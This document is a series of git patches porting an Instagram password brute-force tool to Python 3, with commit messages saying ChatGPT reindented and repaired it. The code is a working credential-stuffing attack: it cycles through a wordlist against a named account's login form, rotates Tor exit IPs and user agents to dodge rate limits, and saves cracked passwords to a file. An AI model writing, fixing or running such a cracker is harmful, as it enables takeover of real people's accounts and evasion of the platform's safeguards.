From e0309ce5164a5f59466129548055e8ff74b2e4a9 Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 10:53:32 +0000 Subject: [PATCH 1/7] Initial commit. Fixed error on line 52 of instagram.py --- instagram.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/instagram.py b/instagram.py index 89b2b05..1ce1540 100644 --- a/instagram.py +++ b/instagram.py @@ -49,7 +49,7 @@ def kill(self,msg=None): try: if self.isFound: self.display(msg) - print ' [-] Password Found!' + print(' [-] Password Found!') with open('Cracked.txt','a') as f: f.write('[-] Username: {}\n[-] Password: {}\n\n'.\ From 2af4ee8e6f4ecf65065ebd5d8844a308b30060a1 Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 10:59:58 +0000 Subject: [PATCH 2/7] Asked ChatGPT to properly indent instagram.py and pasted the result --- instagram.py | 382 +++++++++++++++++++++++++-------------------------- 1 file changed, 190 insertions(+), 192 deletions(-) diff --git a/instagram.py b/instagram.py index 1ce1540..0fe5a0a 100644 --- a/instagram.py +++ b/instagram.py @@ -14,195 +14,193 @@ from Core.tor import TorManager from Core.Browser import Browser -class Instagram(TorManager,Browser): - def __init__(self,username,wordlist): - self.username = username - self.wordlist = wordlist - self.lock = threading.Lock() - - self.ip = None - self.tries = 0 - self.wait = False - self.alive = True - self.isFound = False - - self.passlist = [] - self.recentIps = [] - - #for browser - self.url = 'https://www.instagram.com/accounts/login/?force_classic_login' - self.form1 = 'username' - self.form2 = 'password' - - Browser.__init__(self) - TorManager.__init__(self) - - self.n = '\033[0m' - self.r = '\033[31m' - self.g = '\033[32m' - self.y = '\033[33m' - self.b = '\033[34m' - - def kill(self,msg=None): - self.alive = False - self.stopTor() - try: - if self.isFound: - self.display(msg) - print(' [-] Password Found!') - - with open('Cracked.txt','a') as f: - f.write('[-] Username: {}\n[-] Password: {}\n\n'.\ - format(self.username,msg)) - - if all([not self.isFound, msg]): - print '\n [-] {}'.format(msg) - finally:exit() - - def modifylist(self): - if len(self.recentIps) == 5: - del self.recentIps[0] - - # failsafe - if len(self.recentIps) > 5: - while all([len(self.recentIps) > 4]): - del self.recentIps[0] - def manageIps(self,rec=2): - ip = self.getIp() - if ip: - if ip in self.recentIps: - self.updateIp() - self.manageIps() - self.ip = ip - self.recentIps.append(ip) - else: - if rec: - self.updateIp() - self.manageIps(rec-1) - else: - self.connectionHandler() - - def changeIp(self): - self.createBrowser() - self.updateIp() - - self.manageIps() - self.modifylist() - self.deleteBrowser() - - def setupPasswords(self): - with open(self.wordlist,'r') as passwords: - for pwd in passwords: - pwd = pwd.replace('\n','') - if len(self.passlist) < 5: - self.passlist.append(pwd) - else: - while all([self.alive,len(self.passlist)]):pass - if not len(self.passlist): - self.passlist.append(pwd) - - # done reading files - while self.alive: - if not len(self.passlist): - self.alive = False - - def connectionHandler(self): - if self.wait:return - self.wait = True - print ' [-] Waiting For Connection {}...{}'.format(self.g,self.n) - while all([self.alive,self.wait]): - try: - self.updateIp() - urllib.urlopen('https://wtfismyip.com/text') - self.wait = False - break - except IOError: - time.sleep(1.5) - self.manageIps() - - def attempt(self,pwd): - with self.lock: - self.tries+=1 - self.createBrowser() - html = self.login(pwd) - self.deleteBrowser() - - if html: - if all([not self.form1 in html,not self.form2 in html]): - self.isFound = True - self.kill(pwd) - del self.passlist[self.passlist.index(pwd)] - - def run(self): - self.display() - time.sleep(1.3) - threading.Thread(target=self.setupPasswords).start() - while self.alive: - bot = None - - for pwd in self.passlist: - bot = threading.Thread(target=self.attempt,args=[pwd]) - bot.start() - - # wait for bot - if bot: - while all([self.alive,bot.is_alive()]):pass - if self.alive: - self.changeIp() - - def display(self,pwd=None): - pwd = pwd if pwd else '' - ip = self.ip if self.ip else '' - creds = self.r if not self.isFound else self.g - attempts = self.tries if self.tries else '' - - subprocess.call(['clear']) - print '' - print ' +------- Instagram -------+' - print ' [-] Username: {}{}{}'.format(creds,self.username.title(),self.n) - print ' [-] Password: {}{}{}'.format(creds,pwd,self.n) - print ' [-] Proxy IP: {}{}{}'.format(self.b,ip,self.n) - print ' [-] Attempts: {}{}{}'.format(self.y,attempts,self.n) - print '' - - if not ip: - print ' [-] Obtaining Proxy IP {}...{}'.format(self.g,self.n) - self.changeIp() - time.sleep(1.3) - self.display() - def main(): - # assign arugments - args = argparse.ArgumentParser() - args.add_argument('username',help='Email or username') - args.add_argument('wordlist',help='wordlist') - args = args.parse_args() - - # assign variables - engine = Instagram(args.username,args.wordlist) - - # does tor exists? - if not os.path.exists('/usr/bin/tor'): - try:engine,installTor() - except KeyboardInterrupt:engine.kill('Exiting {}...{}'.format(self.g,self.n)) - if not os.path.exists('/usr/sbin/tor'): - engine.kill('Please Install Tor'.format(engine.y,engine.r,engine.n)) - - # does the account exists? - if not engine.exists(engine.username): - engine.kill('The Account \'{}\' does not exists'.format(engine.username.title())) - - # start attack - try: - engine.run() - finally: - if not engine.isFound: - engine.kill('Exiting {}...{}'.format(engine.g,engine.n)) - - if __name__ == '__main__': - if not 'kali' in platform(): - exit('Kali Linux required') - - if os.getuid(): - exit('root access required') - else: - main() +class Instagram(TorManager, Browser): + def __init__(self, username, wordlist): + self.username = username + self.wordlist = wordlist + self.lock = threading.Lock() + + self.ip = None + self.tries = 0 + self.wait = False + self.alive = True + self.isFound = False + + self.passlist = [] + self.recentIps = [] + + # for browser + self.url = 'https://www.instagram.com/accounts/login/?force_classic_login' + self.form1 = 'username' + self.form2 = 'password' + + Browser.__init__(self) + TorManager.__init__(self) + + self.n = '\033[0m' + self.r = '\033[31m' + self.g = '\033[32m' + self.y = '\033[33m' + self.b = '\033[34m' + + def kill(self, msg=None): + self.alive = False + self.stopTor() + try: + if self.isFound: + self.display(msg) + print(' [-] Password Found!') + + with open('Cracked.txt', 'a') as f: + f.write('[-] Username: {}\n[-] Password: {}\n\n'.\ + format(self.username, msg)) + + if all([not self.isFound, msg]): + print('\n [-] {}'.format(msg)) + finally: + exit() + + def modifylist(self): + if len(self.recentIps) == 5: + del self.recentIps[0] + + def manageIps(self, rec=2): + ip = self.getIp() + if ip: + if ip in self.recentIps: + self.updateIp() + self.manageIps() + self.ip = ip + self.recentIps.append(ip) + else: + if rec: + self.updateIp() + self.manageIps(rec - 1) + else: + self.connectionHandler() + + def changeIp(self): + self.createBrowser() + self.updateIp() + + self.manageIps() + self.modifylist() + self.deleteBrowser() + + def setupPasswords(self): + with open(self.wordlist, 'r') as passwords: + for pwd in passwords: + pwd = pwd.replace('\n', '') + if len(self.passlist) < 5: + self.passlist.append(pwd) + else: + while all([self.alive, len(self.passlist)]): + pass + if not len(self.passlist): + self.passlist.append(pwd) + + def connectionHandler(self): + if self.wait: + return + self.wait = True + print(' [-] Waiting For Connection {}...{}'.format(self.g, self.n)) + while all([self.alive, self.wait]): + try: + self.updateIp() + urllib.urlopen('https://wtfismyip.com/text') + self.wait = False + break + except IOError: + time.sleep(1.5) + self.manageIps() + + def attempt(self, pwd): + with self.lock: + self.tries += 1 + self.createBrowser() + html = self.login(pwd) + self.deleteBrowser() + + if html: + if all([not self.form1 in html, not self.form2 in html]): + self.isFound = True + self.kill(pwd) + del self.passlist[self.passlist.index(pwd)] + + def run(self): + self.display() + time.sleep(1.3) + threading.Thread(target=self.setupPasswords).start() + while self.alive: + bot = None + + for pwd in self.passlist: + bot = threading.Thread(target=self.attempt, args=[pwd]) + bot.start() + + # wait for bot + if bot: + while all([self.alive, bot.is_alive()]): + pass + if self.alive: + self.changeIp() + + def display(self, pwd=None): + pwd = pwd if pwd else '' + ip = self.ip if self.ip else '' + creds = self.r if not self.isFound else self.g + attempts = self.tries if self.tries else '' + + subprocess.call(['clear']) + print('') + print(' +------- Instagram -------+') + print(' [-] Username: {}{}{}'.format(creds, self.username.title(), self.n)) + print(' [-] Password: {}{}{}'.format(creds, pwd, self.n)) + print(' [-] Proxy IP: {}{}{}'.format(self.b, ip, self.n)) + print(' [-] Attempts: {}{}{}'.format(self.y, attempts, self.n)) + print('') + + if not ip: + print(' [-] Obtaining Proxy IP {}...{}'.format(self.g, self.n)) + self.changeIp() + time.sleep(1.3) + self.display() + +def main(): + # assign arguments + args = argparse.ArgumentParser() + args.add_argument('username', help='Email or username') + args.add_argument('wordlist', help='wordlist') + args = args.parse_args() + + # assign variables + engine = Instagram(args.username, args.wordlist) + + # does tor exist? + if not os.path.exists('/usr/bin/tor'): + try: + engine.installTor() + except KeyboardInterrupt: + engine.kill('Exiting {}...{}'.format(engine.g, engine.n)) + if not os.path.exists('/usr/sbin/tor'): + engine.kill('Please Install Tor'.format(engine.y, engine.r, engine.n)) + + # does the account exist? + if not engine.exists(engine.username): + engine.kill('The Account \'{}\' does not exist'.format(engine.username.title())) + + # start attack + try: + engine.run() + finally: + if not engine.isFound: + engine.kill('Exiting {}...{}'.format(engine.g, engine.n)) + +if __name__ == '__main__': + if not 'kali' in platform(): + exit('Kali Linux required') + + if os.getuid(): + exit('Root access required') + else: + main() From 2997969983b0dd76dc2ea8635134a1d2e058ef9e Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 11:02:14 +0000 Subject: [PATCH 3/7] Fixed error on line 13 of Core/tor.py --- Core/tor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Core/tor.py b/Core/tor.py index cb2c1ee..397287a 100644 --- a/Core/tor.py +++ b/Core/tor.py @@ -10,7 +10,7 @@ def __init__(self): def installTor(self): subprocess.call(['clear']) - print '{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}'.\ + print('{0}[{1}-{0}]{2} Installing Tor, Please Wait {3}...{2}').\ format(self.y,self.r,self.n,self.g);time.sleep(3) cmd = ['apt-get','install','tor','-y'] subprocess.Popen(cmd,stdout=self.devnull,stderr=self.devnull).wait() From ce80aa7f32c2cc7589230a6b54df000b0d726cb6 Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 11:04:13 +0000 Subject: [PATCH 4/7] Fixed error on line 15 of instagram.py --- instagram.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/instagram.py b/instagram.py index 0fe5a0a..cc0e98f 100644 --- a/instagram.py +++ b/instagram.py @@ -12,7 +12,7 @@ import subprocess from platform import platform from Core.tor import TorManager -from Core.Browser import Browser +from Core.browser import Browser class Instagram(TorManager, Browser): def __init__(self, username, wordlist): From 94397fec74b0d11d1a87173dcab0bbcb1e29ea3d Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 11:07:58 +0000 Subject: [PATCH 5/7] Fixed error on line 7 of Core/browser.py --- Core/browser.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Core/browser.py b/Core/browser.py index 4cb57cc..0a0e3c5 100644 --- a/Core/browser.py +++ b/Core/browser.py @@ -4,7 +4,7 @@ import cookielib import mechanize -class Browser(object) +class Browser(object): def __init__(self): self.br = None @@ -58,4 +58,4 @@ def useragent(self): 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1'] - return random.choice(useragents) \ No newline at end of file + return random.choice(useragents) From 9f2b58eec116c65149da74acb6a8037aa6c15ae6 Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 11:25:23 +0000 Subject: [PATCH 6/7] Asked ChatGPT to fix any errors. Now running instagram.py prints 'Kali Linux required' but otherwise no error message --- Core/browser.py | 116 +++++++++++++++++++++++++----------------------- 1 file changed, 61 insertions(+), 55 deletions(-) diff --git a/Core/browser.py b/Core/browser.py index 0a0e3c5..1ad7639 100644 --- a/Core/browser.py +++ b/Core/browser.py @@ -1,61 +1,67 @@ import json import random import requests -import cookielib +import http.cookiejar as cookielib import mechanize class Browser(object): -def __init__(self): - self.br = None - -def createBrowser(self): - br = mechanize.Browser() - br.set_handle_equiv(True) - br.set_handle_referer(True) - br.set_handle_robots(False) - br.set_cookiejar(cookielib.LWPCookieJar()) - br.addheaders=[('User-agent',self.useragent())] - br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) - self.br = br - - def deleteBrowser(self): - self.br.close() - del self.br - - def getIp(self): - try: - return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip'] - except KeyboardInterrupt:self.kill() - except:pass - - def exists(self,name): - try: - html = requests.get('https://instagram.com/{}'.format(name)).text - return True if '@{}'.format(name.lower()) in html else False - except KeyboardInterrupt:self.kill() - except:return - - def login(self,password): - if any([not self.alive,self.isFound]): - return - - try: - self.display(password) - self.br.open(self.url) - self.br.select_form(nr=0) - self.br.form[self.form1] = self.username - self.br.form[self.form2] = password - return self.br.submit().read() - except KeyboardInterrupt:self.kill() - except:return - - def useragent(self): - useragents = [ - 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', - 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', - 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', - 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', - 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1'] - return random.choice(useragents) + def __init__(self): + self.br = None + + def createBrowser(self): + br = mechanize.Browser() + br.set_handle_equiv(True) + br.set_handle_referer(True) + br.set_handle_robots(False) + br.set_cookiejar(cookielib.LWPCookieJar()) + br.addheaders = [('User-agent', self.useragent())] + br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) + self.br = br + + def deleteBrowser(self): + self.br.close() + del self.br + + def getIp(self): + try: + return json.loads(requests.get('https://api.ipify.org/?format=json').text)['ip'] + except KeyboardInterrupt: + self.kill() + except: + pass + + def exists(self, name): + try: + html = requests.get('https://instagram.com/{}'.format(name)).text + return True if '@{}'.format(name.lower()) in html else False + except KeyboardInterrupt: + self.kill() + except: + return False + + def login(self, password): + if any([not self.alive, self.isFound]): + return + + try: + self.display(password) + self.br.open(self.url) + self.br.select_form(nr=0) + self.br.form[self.form1] = self.username + self.br.form[self.form2] = password + return self.br.submit().read() + except KeyboardInterrupt: + self.kill() + except: + pass + + def useragent(self): + useragents = [ + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', + 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', + 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', + 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1'] + return random.choice(useragents) From 34a7e154694a48e675ad207203baf3e37aaee81d Mon Sep 17 00:00:00 2001 From: SpiritGun91 Date: Thu, 10 Aug 2023 11:30:44 +0000 Subject: [PATCH 7/7] Added requirements.txt --- requirements.txt | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..4f7de32 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +mechanize +requests +pysocks